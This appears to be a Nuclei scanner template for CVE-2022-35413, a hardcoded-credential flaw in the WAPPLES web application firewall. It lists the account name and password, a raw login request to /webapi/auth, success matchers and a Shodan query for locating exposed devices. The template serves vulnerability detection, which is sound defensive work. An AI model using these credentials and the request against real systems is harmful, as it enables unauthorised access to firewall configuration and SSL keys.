id: CVE-2022-35413 info: name: Wapples Web Application Firewall - Hardcoded credentials author: For3stCo1d severity: critical description: | WAPPLES through 6.0 has a hardcoded systemi account accessible via db/wp.no1 (as configured in the /opt/penta/wapples/script/wcc_auto_scaling.py file). A threat actor could use this account to access the system configuration and confidential information (such as SSL keys) via an HTTPS request to the /webapi/ URI on port 443 or 5001. reference: - https://medium.com/@_sadshade/wapples-web-application-firewall-multiple-vulnerabilities-35bdee52c8fb - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-35413 - https://azuremarketplace.microsoft.com/en/marketplace/apps/penta-security-systems-inc.wapples_sa_v6?tab=Overview classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-35413 cwe-id: CWE-798 metadata: shodan-query: http.title:"Intelligent WAPPLES" verified: "true" tags: cve,cve2022,wapples,firewall,default-login requests: - raw: - | POST /webapi/auth HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded id={{username}}&password={{password}} attack: pitchfork payloads: username: - systemi password: - db/wp.no1 matchers-condition: and matchers: - type: word part: body words: - '"res_msg":"Authentication Success."' - '"doc_id":"user_systemi"' condition: and - type: word part: header words: - WP_SESSID= - type: status status: - 200